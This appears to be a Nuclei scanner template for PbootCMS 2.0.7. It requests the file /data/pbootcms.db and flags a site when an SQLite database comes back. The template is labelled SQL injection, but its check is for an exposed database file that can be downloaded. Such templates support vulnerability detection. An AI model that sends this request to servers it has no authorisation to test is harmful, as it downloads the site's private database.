id: pbootcms-database-file-download

info:
  name: PbootCMS 2.0.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: PbootCMS 2.0.7 contains a SQL injection vulnerability via pbootcms.db.  An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://xz.aliyun.com/t/7628
    - https://www.cnblogs.com/0daybug/p/12786036.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: pbootcms,db,exposure,database,sqlite,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/data/pbootcms.db"

    max-size: 20000

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PbootCMS"
          - "SQLite format 3"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206653ccef1c337763215dcdb39a12b5ad95f4ab49a148984b86b8bafae1638b8802207cc44a20120f682fc52044fdafbce5ad30d848aa809a2ed0c91a92ad45215946:922c64590222798bb761d5b6d8e72950